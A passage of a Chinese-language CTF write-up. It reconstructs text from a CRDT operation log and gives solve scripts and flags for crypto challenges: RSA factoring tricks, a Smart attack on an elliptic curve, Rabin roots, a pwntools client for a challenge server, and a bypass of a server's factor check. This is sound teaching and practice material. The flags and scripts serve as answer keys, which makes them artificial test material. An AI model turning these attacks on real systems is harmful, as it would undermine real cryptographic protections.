    "op": "del",
    "id": "B:31"
  },
  {
    "op": "ins",
    "id": "C:11",
    "parent": "B:11",
    "ch": "Y",
    "site": "C",
    "ctr": 11
  },
  {
    "op": "ins",
    "id": "A:7",
    "parent": "C:6",
    "ch": "E",
    "site": "A",
    "ctr": 7
  },
  {
    "op": "ins",
    "id": "B:40",
    "parent": "B:11",
    "ch": "q",
    "site": "B",
    "ctr": 40
  },
  {
    "op": "del",
    "id": "A:20"
  },
  {
    "op": "ins",
    "id": "C:12",
    "parent": "A:7",
    "ch": "3",
    "site": "C",
    "ctr": 12
  },
  {
    "op": "ins",
    "id": "C:3",
    "parent": "B:3",
    "ch": "_",
    "site": "C",
    "ctr": 3
  },
  {
    "op": "ins",
    "id": "B:55",
    "parent": "B:1",
    "ch": "p",
    "site": "B",
    "ctr": 55
  },
  {
    "op": "del",
    "id": "C:25"
  },
  {
    "op": "ins",
    "id": "A:34",
    "parent": "C:5",
    "ch": "4",
    "site": "A",
    "ctr": 34
  },
  {
    "op": "del",
    "id": "B:30"
  },
  {
    "op": "del",
    "id": "A:21"
  },
  {
    "op": "del",
    "id": "B:38"
  },
  {
    "op": "del",
    "id": "B:33"
  },
  {
    "op": "ins",
    "id": "C:22",
    "parent": "C:5",
    "ch": "M",
    "site": "C",
    "ctr": 22
  },
  {
    "op": "ins",
    "id": "C:23",
    "parent": "A:9",
    "ch": "j",
    "site": "C",
    "ctr": 23
  },
  {
    "op": "ins",
    "id": "B:48",
    "parent": "C:1",
    "ch": "v",
    "site": "B",
    "ctr": 48
  },
  {
    "op": "ins",
    "id": "B:31",
    "parent": "B:2",
    "ch": "O",
    "site": "B",
    "ctr": 31
  },
  {
    "op": "ins",
    "id": "A:28",
    "parent": "HEAD",
    "ch": "M",
    "site": "A",
    "ctr": 28
  },
  {
    "op": "del",
    "id": "A:55"
  },
  {
    "op": "del",
    "id": "A:42"
  },
  {
    "op": "ins",
    "id": "B:27",
    "parent": "C:4",
    "ch": "0",
    "site": "B",
    "ctr": 27
  },
  {
    "op": "ins",
    "id": "A:50",
    "parent": "A:7",
    "ch": "1",
    "site": "A",
    "ctr": 50
  },
  {
    "op": "ins",
    "id": "C:16",
    "parent": "C:1",
    "ch": "K",
    "site": "C",
    "ctr": 16
  },
  {
    "op": "ins",
    "id": "C:6",
    "parent": "B:6",
    "ch": "L",
    "site": "C",
    "ctr": 6
  },
  {
    "op": "ins",
    "id": "A:25",
    "parent": "C:6",
    "ch": "n",
    "site": "A",
    "ctr": 25
  },
  {
    "op": "ins",
    "id": "B:34",
    "parent": "C:1",
    "ch": "f",
    "site": "B",
    "ctr": 34
  },
  {
    "op": "del",
    "id": "C:18"
  },
  {
    "op": "del",
    "id": "A:36"
  },
  {
    "op": "ins",
    "id": "B:1",
    "parent": "A:1",
    "ch": "Y",
    "site": "B",
    "ctr": 1
  },
  {
    "op": "ins",
    "id": "B:6",
    "parent": "A:6",
    "ch": "L",
    "site": "B",
    "ctr": 6
  },
  {
    "op": "del",
    "id": "C:14"
  },
  {
    "op": "ins",
    "id": "B:3",
    "parent": "A:3",
    "ch": "T",
    "site": "B",
    "ctr": 3
  },
  {
    "op": "del",
    "id": "A:50"
  },
  {
    "op": "del",
    "id": "B:20"
  },
  {
    "op": "ins",
    "id": "A:52",
    "parent": "A:2",
    "ch": "≈",
    "site": "A",
    "ctr": 52
  },
  {
    "op": "del",
    "id": "A:35"
  },
  {
    "op": "ins",
    "id": "B:30",
    "parent": "A:9",
    "ch": "★",
    "site": "B",
    "ctr": 30
  },
  {
    "op": "ins",
    "id": "C:5",
    "parent": "B:5",
    "ch": "H",
    "site": "C",
    "ctr": 5
  },
  {
    "op": "del",
    "id": "C:19"
  },
  {
    "op": "ins",
    "id": "C:8",
    "parent": "B:8",
    "ch": "I",
    "site": "C",
    "ctr": 8
  },
  {
    "op": "ins",
    "id": "A:2",
    "parent": "C:1",
    "ch": "{",
    "site": "A",
    "ctr": 2
  },
  {
    "op": "ins",
    "id": "B:54",
    "parent": "B:8",
    "ch": "Z",
    "site": "B",
    "ctr": 54
  },
  {
    "op": "ins",
    "id": "B:21",
    "parent": "A:10",
    "ch": "R",
    "site": "B",
    "ctr": 21
  },
  {
    "op": "del",
    "id": "B:17"
  },
  {
    "op": "ins",
    "id": "C:4",
    "parent": "B:4",
    "ch": "A",
    "site": "C",
    "ctr": 4
  },
  {
    "op": "del",
    "id": "C:29"
  },
  {
    "op": "ins",
    "id": "A:57",
    "parent": "B:5",
    "ch": "i",
    "site": "A",
    "ctr": 57
  },
  {
    "op": "ins",
    "id": "C:32",
    "parent": "A:2",
    "ch": "E",
    "site": "C",
    "ctr": 32
  },
  {
    "op": "ins",
    "id": "C:38",
    "parent": "C:2",
    "ch": "K",
    "site": "C",
    "ctr": 38
  },
  {
    "op": "del",
    "id": "B:45"
  },
  {
    "op": "ins",
    "id": "C:33",
    "parent": "A:6",
    "ch": "★",
    "site": "C",
    "ctr": 33
  },
  {
    "op": "del",
    "id": "B:36"
  },
  {
    "op": "ins",
    "id": "C:17",
    "parent": "C:8",
    "ch": "x",
    "site": "C",
    "ctr": 17
  },
  {
    "op": "del",
    "id": "A:45"
  },
  {
    "op": "ins",
    "id": "B:53",
    "parent": "HEAD",
    "ch": "E",
    "site": "B",
    "ctr": 53
  },
  {
    "op": "ins",
    "id": "B:32",
    "parent": "A:2",
    "ch": "Z",
    "site": "B",
    "ctr": 32
  },
  {
    "op": "del",
    "id": "C:36"
  },
  {
    "op": "del",
    "id": "A:18"
  },
  {
    "op": "ins",
    "id": "B:35",
    "parent": "A:9",
    "ch": "C",
    "site": "B",
    "ctr": 35
  },
  {
    "op": "ins",
    "id": "C:13",
    "parent": "C:4",
    "ch": "@",
    "site": "C",
    "ctr": 13
  },
  {
    "op": "ins",
    "id": "C:39",
    "parent": "A:9",
    "ch": "❌",
    "site": "C",
    "ctr": 39
  },
  {
    "op": "ins",
    "id": "C:31",
    "parent": "C:7",
    "ch": "D",
    "site": "C",
    "ctr": 31
  },
  {
    "op": "ins",
    "id": "B:26",
    "parent": "C:6",
    "ch": "★",
    "site": "B",
    "ctr": 26
  },
  {
    "op": "ins",
    "id": "A:42",
    "parent": "B:4",
    "ch": "w",
    "site": "A",
    "ctr": 42
  },
  {
    "op": "del",
    "id": "B:40"
  },
  {
    "op": "ins",
    "id": "B:20",
    "parent": "B:4",
    "ch": "9",
    "site": "B",
    "ctr": 20
  },
  {
    "op": "del",
    "id": "B:23"
  },
  {
    "op": "del",
    "id": "A:22"
  },
  {
    "op": "ins",
    "id": "C:35",
    "parent": "B:10",
    "ch": "v",
    "site": "C",
    "ctr": 35
  }
]
"""

ops = json.loads(log_data)

nodes = {}
children = defaultdict(list)
deleted = set()

for op in ops:
    if op["op"] == "ins":
        node_id = op["id"]
        parent = op["parent"]
        ch = op["ch"]
        nodes[node_id] = {"ch": ch, "parent": parent}
        children[parent].append(node_id)
    elif op["op"] == "del":
        deleted.add(op["id"])

def traverse(node_id):
    result = ""
    for child in sorted(children.get(node_id, [])):
        if child not in deleted:
            result += nodes[child]["ch"] + traverse(child)
    return result

final_text = traverse("HEAD")

print("Output:")
print(final_text)

flag

SYC{CRDT_RGA_CHALLENGE_IS_SO_EASY}

monitoring

解题记录

同一张二维码两个不同的方向扭曲 因为直接用ps调图片搞不出来,干脆直接重新画一张了,首先这是29*29的二维码

alt text
扫一扫直接出,虽然可能二维码有部分不太一样,但好在二维码有一定纠错功能

flag

SYC{shi_tte_ru_yo}

Crypto

ez_xor

解题记录

已知 N = p * q * s * r n = p * q gift = p ^ q gift1 = s & r gift2=s^r p和q可以用factordb分解 计算 s + r,解二次方程 x^2 - A*x + s_r = 0,算出phi和e即可

exp

from math import isqrt
from Crypto.Util.number import long_to_bytes

N=12114282140129030221139165720039766369206816602912543911543781978648770300084428613171061953060266384429841484428732215252368009811130875276347534941874714457297474025227060487490713853301440917877280771734998220874195868270983517296552761924477514745040473578887509936945790259245154138347432294762694643113545451605193155323886625417458980089197202274810691448592725400564114850712497863770625334209249566232989992606497076063348029665644680946906322428277225178838518025623254240893146791821359089473224900379808514993113560101567320224162858217031176854613011276425771708406954417610317789259885040739954642374667
n=91891351711379799931394178123406137903027189477005569059936904007248535049052097057222486024223574959494899324706948906013350601442586596023020519058250868888847562977333671773188012014902448961387215600156932673504112816058893268362611211565216592933077956777032650164332488098756557422740070442941348084921
c=3231265723829112665640925095346482445691074656152495613367006320791218303024667683148786980985160622882017055128261102169256263170652774489339801477001275058585666508737704987192764426162573977263344192886400249198007892940084066468570229353879431384001463041292940472308358540532108957894938586227682908251475990882169979412586767210087025064295224506676379057986353004282550774815876093769770845018817117647615011444989401149674886486770646765454314760906436659162076044268401041579090930954919862146749470426101754009562077505810024012143379326028465156444246440949112724465484939452061684185387430755268355807999
gift=5160856643507450510397828582001051679762426399445648048700295372044216322163410374903665868763924707209143638999442462398781974627158916257502760763419216
gift1=10475668758451987289276918780968515546700284023143612685496241510488708701498972819305540608876501965534227236009502810417525671358108167575178008316645429
gift2=2089035701361172996472331829521141923363322027241591404259262848963755908765054555529259508147866255819680957406084877552079796025933552021516283158425474
p =7347058180498476506950418253215069445545968207969914980520455662633717313659407471104204242158172803075449282408078252310036642316976286820260163628266163
q =12507230711101465546704208050956623660941100722518212464401483461793631816617115204878992746828172476791349975322386036828178155591256841441610173239204067

s_r = N // n
A = gift2 + 2 * gift1
D = A * A - 4 * s_r
sqrt_D = isqrt(D)
s = (A + sqrt_D) // 2
r = (A - sqrt_D) // 2
phi = (p - 1) * (q - 1) * (s - 1) * (r - 1)
e = 65537
d = pow(e, -1, phi)


m = pow(c, d, N)

flag = long_to_bytes(m)
print("Flag:", flag.decode())

flag

syc{we1c0me_t190_ge1k_your_code_is_v1ey_de1psrc!}

Caesar Slot Machine

解题记录

这就是个大号的pwn签到题,只需要解 current = x % P current = (a * current + b) % P current == (x % P)

exp

import math
from pwn import *
io = remote('geek.ctfplus.cn',31768)

for i in range (30):
    line = io.recvuntil(b':').decode()
    print("DBG:",line)
    a = int(io.recvuntil(b':').decode()[0:10].replace(" ",""))
    print("DBG:",a)
    b = int(io.recvuntil(b':').decode()[0:10].replace(" ",""))
    print("DBG:",b)

    def solve_mod_equation(P, a, b):
        if a == 1:
            if b % P == 0:
                return list(range(P))
            else:
                return []
        else:
            c = 1 - a
            d = math.gcd(c, P)
            if b % d != 0:
                return []
            else:
                c1 = c // d
                b1 = b // d
                P1 = P // d
                inv = pow(c1, -1, P1)
                y0 = (b1 * inv) % P1
                solutions = []
                for k in range(d):
                    y = y0 + k * P1
                    solutions.append(y)
                return solutions
    P =1000000007   
    solutions = solve_mod_equation(P, a, b)
    calcs = str(solutions[0])
    io.sendline(calcs)
    io.recvuntil(b"!\n")
io.interactive()

ez_ecc

解题记录

标准的ecc题目,直接套smart attack的模板即可

exp

from Crypto.Util.number import *
from sage.all import *
p = 0xfba8cae6451eb4c413b60b892ee2d517dfdb17a52451776a68efa34485619411
A = 0x1ef1e93d0f9acda1b7c0172f27d28f3a7d0f2d9343513a3aac191e12f6e51123
B = 0xcad65954bbe0fb8f2f9c22b5cae1aa42306fd58e8394652818e781e5f808e17a
E = EllipticCurve(GF(p),[A,B])
P = E(0x708c0cf66f132122f3fcd1f75c6f22d4a90d34650dd81fb3a57b75dad98d35e7,0xcfb017daf37cbba3c6a5c6e7c4327692595c16b47e4bfa1ad400bffe5b500fba)
Q = E(97490713033364940809544067604441149095210096571946998449251275861394744757515,32198694245056943922016695558131047889851279706531342583322750112905104448879)

def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)

flag = SmartAttack(P, Q, p)
print(long_to_bytes(flag))

flag

SYC{@n()ma1ou$_cu2ves_r!sky}

pem

解题记录

key.pem和enc都有,直接解RSA

exp

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, PKCS1_v1_5
from Crypto.Util.number import long_to_bytes, bytes_to_long
import base64

with open('key.pem', 'r') as f:
    private_key = RSA.import_key(f.read())
with open('enc', 'rb') as f:
    ciphertext = f.read()

try:
    ct_int = bytes_to_long(ciphertext)
    pt_int = pow(ct_int, private_key.d, private_key.n)
    plaintext = long_to_bytes(pt_int)
    print(f"flag: {plaintext.decode('utf-8', errors='ignore')}")
except Exception as e:
    print(f"error: {e}")

flag

SYC{PEM_1s_n0t_only_S5l}

baby_rabin

解题记录

直接用factordb分解p,q,直接解m

exp

import gmpy2
from Crypto.Util.number import long_to_bytes
import itertools

def find_8th_roots_mod_prime(c, p):
    roots = []
    r1 = gmpy2.powmod(c, (p + 1) // 4, p)
    roots.extend([r1, p - r1])
    fourth_roots = []
    for root in roots:
        fr = gmpy2.powmod(root, (p + 1) // 4, p)
        fourth_roots.extend([fr, p - fr])
    eighth_roots = []
    for root in fourth_roots:
        er = gmpy2.powmod(root, (p + 1) // 4, p)
        eighth_roots.extend([er, p - er])
    
    return list(set(eighth_roots))

def crt(remainders, moduli):
    total = 0
    prod = 1
    for m in moduli:
        prod *= m
    
    for r_i, m_i in zip(remainders, moduli):
        p = prod // m_i
        total += r_i * gmpy2.invert(p, m_i) * p
    return total % prod

def main():
    C=451731346880007131332999430306985234187530419447859396067624968918101700861978676040615622417464916959678829732066195225132545956101693588984833424213755513877236702139360270137668415610295492436471366218119012903840729628449361663941761372974624789549775182866112541811446267811259781269568865266459437049508062916974638523947634702667929562107001830919422408810565410106056693018550877651160930860996772712877149329227066558481842344525735406568814917991752005
    n=491917847075013900815069309520768928274976990404751846981543204333198666419468384809286945880906855848713238459489821614928060098982194326560178675579884014989600009897895019721278191710357177079087876324831068589971763176646200619528739550876421709762258644696629617862167991346900122049024287039400659899610706153110527311944790794239992462632602379626260229348762760395449238458507745619804388510205772573967935937419407673995019892908904432789586779953769907
    hint=66035251530240295423188999524554429498804416520951289016547753908652377333150838269168825344004730830028024338415783274479674378412532765763584271087554367024433779628323692638506285635583547190049386810983085033061336995321777237180762044362497604095831885258146390576684671783882528186837336673907983527353
    p = 8126207696720549329082137712377866763714498107449360320398058077477163232178648217462900996288494410540148868460607029478677856276076857845820034721107771
    q = 8126207696720549329082137712377866763714498107449360320398058077477163232178648217462900996290101348584407858736148991571019018878599060839602827556409243
    
    r = n // hint
    assert p % 4 == 3 and q % 4 == 3 and r % 4 == 3
    roots_p = find_8th_roots_mod_prime(C, p)
    roots_q = find_8th_roots_mod_prime(C, q) 
    roots_r = find_8th_roots_mod_prime(C, r)
    moduli = [p, q, r]
    found_flag = False
    total_combinations = len(roots_p) * len(roots_q) * len(roots_r)   
    for i, (rp, rq, rr) in enumerate(itertools.product(roots_p, roots_q, roots_r)):
        solution = crt([rp, rq, rr], moduli)
        try:
            candidate = long_to_bytes(solution)
            if b'flag' in candidate or b'ctf' in candidate.lower() or b'{' in candidate:
                print(f"flag: {candidate}")
                break
        except:
            pass
if __name__ == "__main__":
    main()

xor_revenge

解题记录

检查返回的n的因数只检查是否与n取余为0,直接把n发回去两次就行了

flag

SYC{hahaha_th1_factor_is_N0t_ha16}

dp_spill

解题记录

选择一个小底数𝑎计算A=a^e%n,a^−1%n 对 d_p 从 1 到 2^BITS - 1 计算x = (A^d_p*a^-1)%n g = gcd(x-1,n) 如果1<g<n,得到银因子p=g,q=n/p停止 然后p+q,计算sha256(p+q)

exp


n = 59802493250926859707985963604065644706006753432029457979480870189591634515944547801582044132550574140049396756158974108666587177618882259807156459782125677704143102175791607852135852403246382056816004306499712131698646815738798243056590111291799398438023345030391834782966046976995917844819454047154287312391
e = 55212884840887233646138079973875295799093171847359460085387084716906818593689341421818829383370282800231404248386041253598996862719171485530961860941585382910224531768283026267484780257269526617362183903996384696040145787076592207619279689647074176697837752679360230601598541884491676076657287130000027117241

from Crypto.Util.number import GCD
import hashlib
import sys

BITS = 20

def try_recover_factor(n, e, BITS, bases=(2,3,5,7,11)):
    for a in bases:
        if GCD(a, n) != 1:
            g = GCD(a, n)
            if 1 < g < n:
                return (g, n//g, a, None)
            continue

        A = pow(a, e, n)
        try:
            inv_a = pow(a, -1, n)
        except ValueError:
            continue

        for d_p in range(1, 1 << BITS):
            x = (pow(A, d_p, n) * inv_a) % n
            g = GCD(x - 1, n)
            if 1 < g < n:
                p = g
                q = n // g
                return (p, q, a, d_p)
    return None

def main():
    res = try_recover_factor(n, e, BITS, bases=(2,3,5,7,11,13,17))
    p, q, base_used, d_p_found = res
    s = str(p + q).encode()
    flag_hash = hashlib.sha256(s).hexdigest()
    print("Flag: SYC{" + flag_hash + "}")

if __name__ == "__main__":
    main()

flag

SYC{644684707c540998d760975fb98a816a469ec567abe5c8004164d3ce887c6a8e}

Disclose

解题记录

dq = d % (q - 1),d * e % ((p-1)(q-1)) == 1 所以d * e % (q-1) == 1 又因为dq = d % (q-1) 所以edq = 1 + k*(q-1) 取任意不被 p 或 q 整除的整数 a,例如 3,5,7,…,就能得到:a**(edq) % q == a % q 代入a**(edq) = a**(1 + k*(q-1)) = a * (a**(q-1))k 根据费马小定理a(q-1) % q == 1 因此最终a**(edq) % q == a % q 于是(a**(edq) - a) % q == 0 所以gcd(a**(e*dq) - a, n) == q

exp

from math import gcd
from Crypto.Util.number import *
n = 259787328713315620669972878133037988076215916550647711246939676477326421129812013679655754313165138535008411950313861029496051740521361999159396760989834909603081600363947357112748647883977394670486758972444444439142111569713941555128481912069206288996136103241520037293009874925975282333163541887307464845637591763227092634236013041271880254215362783937683868306313993128035189967091568339765295122704805004687960409586156492514826705669219883130894837499370163894909020869677997529751680238466436501721265413943262568271164547660870177889287883337700613985620882071517309593058133486504491987638053802704885406321489   
dq = 22499014253625008930376465290523079246236903672491529428949946205185543555249003236181305161565081242391920797396454563137397269152501398025721057979839815010145158362677658875505461725215023623199075647605873076372373127281663691994250233620145698675916320588215123270286378681617192723590595528629007323619
c = 6370053764427872753918916672520952591890815345305784661535167250636567614044442456829951926201367031691890397266551896051506485503559355632977037940932465451673402461276283344898143212429679842407935863578100874434864110951261893629193556575965754852130079804129027545776519410420168588918897574771225807265360467679437166130735732969205196853246138265462918730868587864117597334192701298070798102481475959547503973860672351511772559847970384102048811464809463784622382282732625019306431797575127684452390281458642683831354534593808201093823305835131373576894519989150022396180064841804679779794213399320560860722616    
e_high = 1217218333594918008784773594710739821599287411350951048190189539176815103546142818696781454251773183601401149085966947779641557137128602392
e=e_high//8
for a in [3,5,7,9,11]:
    A=pow(a,e*dq,n)
    q=gcd(A-a,n)
p=n//q
d=pow(e,-1,p-1)
flag=pow(c,d,p)
print(long_to_bytes(flag))

easy_RSA?

解题记录

由于文件给出了c_inner=c-inner可以恢复RSA密文c=c_inner+inner 文件还给出了p_m=p-m因此p=p_m+m。m是那个线性表达式中的整数,因此只要尝试若干小的 m 值,若 p_m + m 恰好整除 n,就可恢复 p(从而因式分解 n)

exp

from Crypto.Util.number import long_to_bytes

S =  (34790, 60770, 29429, 54388, 22694, 50136, 13438, 7932, 46652, 9362, 44118, 48359, 50067, 29997, 63366, 36090, 7514, 16382, 24912, 369, 9261, 30671, 30689, 61154, 50897, 58137, 14927, 51518, 5782, 3971, 63594, 41078, 31477, 56610, 56084, 29542, 32843, 22096, 824, 52492, 33817, 24167, 38907, 48871, 24302, 62133, 60210, 7525, 55963, 48512, 16729, 26176, 37224, 14899, 11369, 38873, 41464, 30501, 23095, 21440, 14968, 36710, 15100, 50047)
A =  (16147, 54417, 37346, 48225, 25834, 16202, 9615, 504, 54090, 24475, 53598, 20375, 4188, 42949, 38644, 5471, 48340, 49202, 58598, 31600, 17902, 22273, 4272, 58982, 16813, 41775, 46368, 20609, 4350, 16271, 14783, 21900, 63534, 6337, 38858, 35731, 39772, 52248, 38217, 48935, 1408, 50145, 24808, 4117, 12887, 13498, 27429, 61700, 47565, 44896, 50703, 64168, 27170, 31129, 5620, 63168, 45776, 13144, 23963, 25446, 60607, 17509, 34818, 1875)
b =  2764
p_m= 12332486510964011158671675941288876941680648099414795378886378613845684830972446231876321910330241399720401327967071598143881618549530749656312652927809332
e = 65537
c_inner = 83399431472999194690216705615169036306463958887795007046559917542746213139295638450504799784590430551922090084967974615725328386260579470125560123552483026894270772816722527064675899017519890685144620455393788325407207242732361884830126228889169785202880542117272251300802452717688849566335597550131883378114
n = 122559396923126188518673248748225863862082328215893788075556473340278133079967721064738539949068231864208941120351781811847301797522502385475722537534223195433223265299092527494031447238530457784670684950341075860748519372286474800355858313799189011550620881300518596006433001049004445597176250937388576661809
Q = 17609948494254197001867062519311260077211984293151667548900416829700969294407535620672384674573058455384106178087491089816127503299076697261227000724815039612665504495756229918248399034320834393598470026243543589231473237419452687730543063603595465136115669723541948895463396554918071128531213060909364601656950027389056898604223267691455263897256898136680792549706073818306730228357683709696946839634919997675816794970587698373035672596923359143664093017904285058387254576603859313018778309521049338455162936103498885466949142273058671319832535869174839812056921940398538003527621201520818008358558845582594247420459
P = 20652887190957239284631175340003902315126211938181093064207269195242550094032224965692251651673103425027250767184928851917797759012986735534298162794316194395592379533545344962294078494289760237724601340062723352085300184175255877738749851041498543752865574186669040985787587644798823596547499014922063118523650392438320527012937021768573183057529502842126637960161988353588863260221824429222676866093636690824910541149705709054550563060623762529654624849373383560043169934394338959338517866931347066483777887082048559999731906556171653815355183514550470420842104873391074567329742472001229790402635829640092130822763
q1 = 65537
inner = sum(a*s for a, s in zip(A, S)) % q1

c = c_inner + inner
p = None
m_found = None

for m in range(2_000_000):
    p_cand = p_m + m
    if n % p_cand == 0:
        p = p_cand
        q = n // p
        m_found = m
        print("[+] Found! m =", m)
        print("[+] p =", p)
        print("[+] q =", q)
        break
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
m_flag = pow(c, d, n)
flag = long_to_bytes(m_flag)


print("Flag:", flag.decode())

flag

SYC{y0u_sh0u1d_learn_a_l0t_a0bout_LLL}

S_box

是个AES,key也给了,直接nc之后复制一下数据,套模板解

exp

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad

key1 = 18418224610639320248870372935080282239

cipher_bytes = b')\xf3<\xf3T\x18\xfd21\xa6w\xcf\x85S\x97m\x17\xab\x9f?q\x85\xc0\r\xd3\x02\n\x980\x06\xaf\xe4RX\x7fl\x18eV5\x07\xdb\x1f\x18S\x175n'
iv_bytes     = b"\n\xa4\xc7\x1d\x16\xf5\xa7\xcb\xf8\x8a\x0bK\xd7'\xa9F"

key_bytes = long_to_bytes(key1, 16)

cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
plain = unpad(cipher.decrypt(cipher_bytes), AES.block_size)
print(plain)

flag

SYC{SS_B0xx_I1s_ver1y_Differe1c999c}

Terminal

C0nvR3 Lab terminal ready. Type help for commands.